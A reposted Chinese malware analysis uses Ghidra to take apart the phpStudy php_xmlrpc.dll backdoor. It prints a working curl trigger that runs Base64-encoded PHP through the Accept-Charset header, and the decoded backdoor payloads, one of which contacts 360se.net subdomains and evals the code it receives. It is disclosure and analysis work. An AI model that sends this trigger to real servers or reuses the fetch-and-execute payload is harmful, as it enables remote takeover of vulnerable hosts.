您好,登錄后才能下訂單哦!
作者:lu4nx@知道創宇404積極防御實驗室
作者博客:《使用 Ghidra 分析 phpStudy 后門》
原文鏈接:https://paper.seebug.org/1058/
這次事件已過去數日,該響應的也都響應了,雖然網上有很多廠商及組織發表了分析文章,但記載分析過程的不多,我只是想正兒八經用 Ghidra 從頭到尾分析下。
主要工具:
Kali Linux
Ghidra 9.0.4
010Editor 9.0.2
樣本環境:
Windows7
phpStudy 20180211
先在 Windows 7 虛擬機中安裝 PhpStudy 20180211,然后把安裝完后的目錄拷貝到 Kali Linux 中。
根據網上公開的信息:后門存在于 php_xmlrpc.dll 文件中,里面存在“eval”關鍵字,文件 MD5 為 c339482fd2b233fb0a555b629c0ea5d5。
因此,先去找到有后門的文件:
lu4nx@lx-kali:/tmp/phpStudy$?find?./?-name?php_xmlrpc.dll?-exec?md5sum?{}?\; 3d2c61ed73e9bb300b52a0555135f2f7??./PHPTutorial/php/php-7.2.1-nts/ext/php_xmlrpc.dll 7c24d796e0ae34e665adcc6a1643e132??./PHPTutorial/php/php-7.1.13-nts/ext/php_xmlrpc.dll 3ff4ac19000e141fef07b0af5c36a5a3??./PHPTutorial/php/php-5.4.45-nts/ext/php_xmlrpc.dll c339482fd2b233fb0a555b629c0ea5d5??./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll 5db2d02c6847f4b7e8b4c93b16bc8841??./PHPTutorial/php/php-7.0.12-nts/ext/php_xmlrpc.dll 42701103137121d2a2afa7349c233437??./PHPTutorial/php/php-5.3.29-nts/ext/php_xmlrpc.dll 0f7ad38e7a9857523dfbce4bce43a9e9??./PHPTutorial/php/php-5.2.17/ext/php_xmlrpc.dll 149c62e8c2a1732f9f078a7d17baed00??./PHPTutorial/php/php-5.5.38/ext/php_xmlrpc.dll fc118f661b45195afa02cbf9d2e57754??./PHPTutorial/php/php-5.6.27-nts/ext/php_xmlrpc.dll
將文件 ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll 單獨拷貝出來,再確認下是否存在后門:
lu4nx@lx-kali:/tmp/phpStudy$?strings?./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll?|?grep?eval zend_eval_string @eval(%s('%s')); %s;@eval(%s('%s'));
從上面的搜索結果可以看到文件中存在三個“eval”關鍵字,現在用 Ghidra 載入分析。
在 Ghidra 中搜索下:菜單欄“Search” > “For Strings”,彈出的菜單按“Search”,然后在結果過濾窗口中過濾“eval”字符串,如圖:
從上方結果“Code”字段看的出這三個關鍵字都位于文件 Data 段中。隨便選中一個(我選的“@eval(%s(‘%s’));”)并雙擊,跳轉到地址中,然后查看哪些地方引用過這個字符串(右擊,References > Show References to Address),操作如圖:
結果如下:
可看到這段數據在 PUSH 指令中被使用,應該是函數調用,雙擊跳轉到匯編指令處,然后 Ghidra 會自動把匯編代碼轉成較高級的偽代碼并呈現在 Decompile 窗口中:
如果沒有看到 Decompile 窗口,在菜單Window > Decompile 中打開。
在翻譯后的函數 FUN_100031f0 中,我找到了前面搜索到的三個 eval 字符,說明這個函數中可能存在多個后門(當然經過完整分析后存在三個后門)。
這里插一句,Ghidra 轉換高級代碼能力比 IDA 的 Hex-Rays Decompiler 插件要差一些,比如 Ghidra 轉換的這段代碼:
puVar8?=?local_19f; while?(iVar5?!=?0)?{ ??iVar5?=?iVar5?+?-1; ??*puVar8?=?0; ??puVar8?=?puVar8?+?1; }
在IDA中翻譯得就很直觀:
memset(&v27,?0,?0xB0u);
還有對多個邏輯的判斷,IDA 翻譯出來是:
if?(a?&&?b){ ... }
Ghidra 翻譯出來卻是:
if?(a)?{ ??if(b)?{ ??} }
而多層 if 嵌套閱讀起來會經常迷路。總之 Ghidra 翻譯的代碼只有反復閱讀后才知道是干嘛的,在理解這類代碼上我花了好幾個小時。
第一個后門存在于這段代碼:
iVar5?=?zend_hash_find(*(int?*)(*param_3?+?-4?+?*(int?*)executor_globals_id_exref?*?4)?+?0xd8, ???????????????????????s__SERVER_1000ec9c,~uVar6,&local_14); if?(iVar5?!=?-1)?{ ??uVar6?=?0xffffffff; ??pcVar9?=?s_HTTP_ACCEPT_ENCODING_1000ec84; ??do?{ ????if?(uVar6?==?0)?break; ????uVar6?=?uVar6?-?1; ????cVar1?=?*pcVar9; ????pcVar9?=?pcVar9?+?1; ??}?while?(cVar1?!=?'\0'); ??iVar5?=?zend_hash_find(*(undefined4?*)*local_14,s_HTTP_ACCEPT_ENCODING_1000ec84,~uVar6,&local_28 ?????????????????????????); ??if?(iVar5?!=?-1)?{ ????pcVar9?=?s_gzip,deflate_1000ec74; ????pbVar4?=?*(byte?**)*local_28; ????pbVar7?=?pbVar4; ????do?{ ??????bVar2?=?*pbVar7; ??????bVar11?=?bVar2?<?(byte)*pcVar9; ??????if?(bVar2?!=?*pcVar9)?{ ??????LAB_10003303: ????????iVar5?=?(1?-?(uint)bVar11)?-?(uint)(bVar11?!=?false); ????????goto?LAB_10003308; ??????} ??????if?(bVar2?==?0)?break; ??????bVar2?=?pbVar7[1]; ??????bVar11?=?bVar2?<?((byte?*)pcVar9)[1]; ??????if?(bVar2?!=?((byte?*)pcVar9)[1])?goto?LAB_10003303; ??????pbVar7?=?pbVar7?+?2; ??????pcVar9?=?(char?*)((byte?*)pcVar9?+?2); ????}?while?(bVar2?!=?0); ????iVar5?=?0; ??LAB_10003308: ????if?(iVar5?==?0)?{ ??????uVar6?=?0xffffffff; ??????pcVar9?=?s__SERVER_1000ec9c; ??????do?{ ????????if?(uVar6?==?0)?break; ????????uVar6?=?uVar6?-?1; ????????cVar1?=?*pcVar9; ????????pcVar9?=?pcVar9?+?1; ??????}?while?(cVar1?!=?'\0'); ??????iVar5?=?zend_hash_find(*(int?*)(*param_3?+?-4?+?*(int?*)executor_globals_id_exref?*?4)?+ ?????????????????????????????0xd8,s__SERVER_1000ec9c,~uVar6,&local_14); ??????if?(iVar5?!=?-1)?{ ????????uVar6?=?0xffffffff; ????????pcVar9?=?s_HTTP_ACCEPT_CHARSET_1000ec60; ????????do?{ ??????????if?(uVar6?==?0)?break; ??????????uVar6?=?uVar6?-?1; ??????????cVar1?=?*pcVar9; ??????????pcVar9?=?pcVar9?+?1; ????????}?while?(cVar1?!=?'\0'); ????????iVar5?=?zend_hash_find(*(undefined4?*)*local_14,s_HTTP_ACCEPT_CHARSET_1000ec60,~uVar6, ???????????????????????????????&local_1c); ????????if?(iVar5?!=?-1)?{ ??????????uVar6?=?0xffffffff; ??????????pcVar9?=?*(char?**)*local_1c; ??????????do?{ ????????????if?(uVar6?==?0)?break; ????????????uVar6?=?uVar6?-?1; ????????????cVar1?=?*pcVar9; ????????????pcVar9?=?pcVar9?+?1; ??????????}?while?(cVar1?!=?'\0'); ??????????local_10?=?FUN_100040b0((int)*(char?**)*local_1c,~uVar6?-?1); ??????????if?(local_10?!=?(undefined4?*)0x0)?{ ????????????iVar5?=?*(int?*)(*param_3?+?-4?+?*(int?*)executor_globals_id_exref?*?4); ????????????local_24?=?*(undefined4?*)(iVar5?+?0x128); ????????????*(undefined?**)(iVar5?+?0x128)?=?local_ec; ????????????iVar5?=?_setjmp3(local_ec,0); ????????????uVar3?=?local_24; ????????????if?(iVar5?==?0)?{ ??????????????zend_eval_string(local_10,0,&DAT_10012884,param_3); ????????????} ????????????else?{ ??????????????*(undefined4?*) ????????????????(*(int?*)(*param_3?+?-4?+?*(int?*)executor_globals_id_exref?*?4)?+?0x128)?= ????????????????local_24; ????????????} ????????????*(undefined4?*) ??????????????(*(int?*)(*param_3?+?-4?+?*(int?*)executor_globals_id_exref?*?4)?+?0x128)?=?uVar3; ??????????} ????????} ??????} ????} ??} ?}
閱讀起來非常復雜,大概邏輯就是通過 PHP 的?zend_hash_find
?函數尋找?$_SERVER
?變量,然后找到 Accept-Encoding 和 Accept-Charset 兩個 HTTP 請求頭,如果 Accept-Encoding 的值為 gzip,deflate,就調用?zend_eval_string
?去執行 Accept-Encoding 的內容:
zend_eval_string(local_10,0,&DAT_10012884,param_3);
這里 zend_eval_string 執行的是 local_10 變量的內容,local_10 是通過調用一個函數賦值的:
local_10?=?FUN_100040b0((int)*(char?**)*local_1c,~uVar6?-?1);
函數 FUN_100040b0 最后分析出來是做 Base64 解碼的。
到這里,就知道該如何構造 Payload 了:
Accept-Encoding:?gzip,deflate Accept-Charset:?Base64加密后的PHP代碼
朝虛擬機構造一個請求:
$?curl?-H?"Accept-Charset:?$(echo?'system("ipconfig");'?|?base64)"?-H?'Accept-Encoding:?gzip,deflate'?192.168.128.6
結果如圖:
沿著偽代碼繼續分析,看到這一段代碼:
if?(iVar5?==?0)?{ ??puVar8?=?&DAT_1000d66c; ??local_8?=?&DAT_10012884; ??piVar10?=?&DAT_1000d66c; ??do?{ ????if?(*piVar10?==?0x27)?{ ??????(&DAT_10012884)[iVar5]?=?0x5c; ??????(&DAT_10012885)[iVar5]?=?*(undefined?*)puVar8; ??????iVar5?=?iVar5?+?2; ??????piVar10?=?piVar10?+?2; ????} ????else?{ ??????(&DAT_10012884)[iVar5]?=?*(undefined?*)puVar8; ??????iVar5?=?iVar5?+?1; ??????piVar10?=?piVar10?+?1; ????} ????puVar8?=?puVar8?+?1; ??}?while?((int)puVar8?<?0x1000e5c4); ??spprintf(&local_20,0,s_$V='%s';$M='%s';_1000ec3c,&DAT_100127b8,&DAT_10012784); ??spprintf(&local_8,0,s_%s;@eval(%s('%s'));_1000ec28,local_20,s_gzuncompress_1000d018, ???????????local_8); ??iVar5?=?*(int?*)(*param_3?+?-4?+?*(int?*)executor_globals_id_exref?*?4); ??local_10?=?*(undefined4?**)(iVar5?+?0x128); ??*(undefined?**)(iVar5?+?0x128)?=?local_6c; ??iVar5?=?_setjmp3(local_6c,0); ??uVar3?=?local_10; ??if?(iVar5?==?0)?{ ????zend_eval_string(local_8,0,&DAT_10012884,param_3); ??} ??else?{ ????*(undefined4?**) ??????(*(int?*)(*param_3?+?-4?+?*(int?*)executor_globals_id_exref?*?4)?+?0x128)?=?local_10; ??} ??*(undefined4?*)(*(int?*)(*param_3?+?-4?+?*(int?*)executor_globals_id_exref?*?4)?+?0x128)?= ????uVar3; ??return?0; ?}
重點在這段:
puVar8?=?&DAT_1000d66c; local_8?=?&DAT_10012884; piVar10?=?&DAT_1000d66c; do?{ ??if?(*piVar10?==?0x27)?{ ????(&DAT_10012884)[iVar5]?=?0x5c; ????(&DAT_10012885)[iVar5]?=?*(undefined?*)puVar8; ????iVar5?=?iVar5?+?2; ????piVar10?=?piVar10?+?2; ??} ??else?{ ????(&DAT_10012884)[iVar5]?=?*(undefined?*)puVar8; ????iVar5?=?iVar5?+?1; ????piVar10?=?piVar10?+?1; ??} ??puVar8?=?puVar8?+?1; ?}?while?((int)puVar8?<?0x1000e5c4);
變量 puVar8 是作為累計變量,這段代碼像是拷貝地址 0x1000d66c 至 0x1000e5c4 之間的數據,于是選中切這行代碼:
puVar8?=?&DAT_1000d66c;
雙擊 DAT_1000d66c,Ghidra 會自動跳轉到該地址,然后在菜單選擇 Window > Bytes 來打開十六進制窗口,現已處于地址 0x1000d66c,接下來要做的就是把 0x1000d66c~0x1000e5c4 之間的數據拷貝出來:
選擇菜單 Select > Bytes;
彈出的窗口中勾選“To Address”,然后在右側的“Ending Address”中填入 0x1000e5c4,如圖:
按回車后,這段數據已被選中,我把它們單獨拷出來,點擊右鍵,選擇 Copy Special > Byte String (No Spaces),如圖:
然后打開 010Editor 編輯器:
新建文件:File > New > New Hex File;
粘貼拷貝的十六進制數據:Edit > Paste From > Paste from Hex Text
然后,把“00”字節全部去掉,選擇 Search > Replace,查找 00,Replace 那里不填,點“Replace All”,處理后如下:
把處理后的文件保存為 p1。通過 file 命令得知文件 p1 為 Zlib 壓縮后的數據:
$?file?p1 p1:?zlib?compressed?data
用 Python 的 zlib 庫就可以解壓,解壓代碼如下:
import?zlib with?open("p1",?"rb")?as?f: ????data?=?f.read() ????print(zlib.decompress(data))
執行結果如下:
lu4nx@lx-kali:/tmp$?python3?decom.py b"$i='info^_^'.base64_encode($V.'<|>'.$M.'<|>').'==END==';$zzz='-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------';@eval(base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs='));"
用 base64 命令把這段 Base64 代碼解密,過程及結果如下:
lu4nx@lx-kali:/tmp$?echo?'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs='?|?base64?-d @ini_set("display_errors","0"); error_reporting(0); function?tcpGet($sendMsg?=?'',?$ip?=?'360se.net',?$port?=?'20123'){ ????????$result?=?""; ??$handle?=?stream_socket_client("tcp://{$ip}:{$port}",?$errno,?$errstr,10); ??if(?!$handle?){ ????$handle?=?fsockopen($ip,?intval($port),?$errno,?$errstr,?5); ????????if(?!$handle?){ ????????????????return?"err"; ????????} ??} ??fwrite($handle,?$sendMsg."\n"); ????????while(!feof($handle)){ ????????????????stream_set_timeout($handle,?2); ????????????????$result?.=?fread($handle,?1024); ????????????????$info?=?stream_get_meta_data($handle); ????????????????if?($info['timed_out'])?{ ??????????????????break; ????????????????} ?????????} ??fclose($handle); ??return?$result; } $ds?=?array("www","bbs","cms","down","up","file","ftp"); $ps?=?array("20123","40125","8080","80","53"); $n?=?false; do?{ ????????$n?=?false; ????????foreach?($ds?as?$d){ ????????????????$b?=?false; ????????????????foreach?($ps?as?$p){ ????????????????????????$result?=?tcpGet($i,$d.".360se.net",$p); ????????????????????????if?($result?!=?"err"){ ????????????????????????????????$b?=true; ????????????????????????????????break; ????????????????????????} ????????????????} ????????????????if?($b)break; ????????} ????????$info?=?explode("<^>",$result); ????????if?(count($info)==4){ ????????????????if?(strpos($info[3],"/*Onemore*/")?!==?false){ ????????????????????????$info[3]?=?str_replace("/*Onemore*/","",$info[3]); ????????????????????????$n=true; ????????????????} ????????????????@eval(base64_decode($info[3])); ????????} }while($n);
第三個后門和第二個實現邏輯其實差不多,代碼如下:
puVar8?=?&DAT_1000d028; local_c?=?&DAT_10012884; iVar5?=?0; piVar10?=?&DAT_1000d028; do?{ ??if?(*piVar10?==?0x27)?{ ????(&DAT_10012884)[iVar5]?=?0x5c; ????(&DAT_10012885)[iVar5]?=?*(undefined?*)puVar8; ????iVar5?=?iVar5?+?2; ????piVar10?=?piVar10?+?2; ??} ??else?{ ????(&DAT_10012884)[iVar5]?=?*(undefined?*)puVar8; ????iVar5?=?iVar5?+?1; ????piVar10?=?piVar10?+?1; ??} ??puVar8?=?puVar8?+?1; ?}?while?((int)puVar8?<?0x1000d66c); spprintf(&local_c,0,s_@eval(%s('%s'));_1000ec14,s_gzuncompress_1000d018,&DAT_10012884); iVar5?=?*(int?*)(*param_3?+?-4?+?*(int?*)executor_globals_id_exref?*?4); local_18?=?*(undefined4?*)(iVar5?+?0x128); *(undefined?**)(iVar5?+?0x128)?=?local_ac; iVar5?=?_setjmp3(local_ac,0); uVar3?=?local_18; if?(iVar5?==?0)?{ ??zend_eval_string(local_c,0,&DAT_10012884,param_3); ?}
重點在這段:
puVar8?=?&DAT_1000d028; local_c?=?&DAT_10012884; iVar5?=?0; piVar10?=?&DAT_1000d028; do?{ ??if?(*piVar10?==?0x27)?{ ????(&DAT_10012884)[iVar5]?=?0x5c; ????(&DAT_10012885)[iVar5]?=?*(undefined?*)puVar8; ????iVar5?=?iVar5?+?2; ????piVar10?=?piVar10?+?2; ??} ??else?{ ????(&DAT_10012884)[iVar5]?=?*(undefined?*)puVar8; ????iVar5?=?iVar5?+?1; ????piVar10?=?piVar10?+?1; ??} ??puVar8?=?puVar8?+?1; ?}?while?((int)puVar8?<?0x1000d66c);
后門代碼在地址 0x1000d028~0x1000d66c 中,提取和處理方法與第二個后門的一樣。找到并提出來,如下:
lu4nx@lx-kali:/tmp$?python3?decom.py b"?@eval(?base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ=='));"
把這段Base64代碼解碼:
lu4nx@lx-kali:/tmp$?echo?'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ=='?|?base64?-d @ini_set("display_errors","0"); error_reporting(0); $h?=?$_SERVER['HTTP_HOST']; $p?=?$_SERVER['SERVER_PORT']; $fp?=?fsockopen($h,?$p,?$errno,?$errstr,?5); if?(!$fp)?{ }?else?{ ????????$out?=?"GET?{$_SERVER['SCRIPT_NAME']}?HTTP/1.1\r\n"; ????????$out?.=?"Host:?{$h}\r\n"; ????????$out?.=?"Accept-Encoding:?compress,gzip\r\n"; ????????$out?.=?"Connection:?Close\r\n\r\n"; ????????fwrite($fp,?$out); ????????fclose($fp); }
https://github.com/jas502n/PHPStudy-Backdoor
《phpStudy 遭******植入后門事件披露 | 微步在線報告》
《PhpStudy 后門分析》,作者:Hcamael@知道創宇 404 實驗室
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。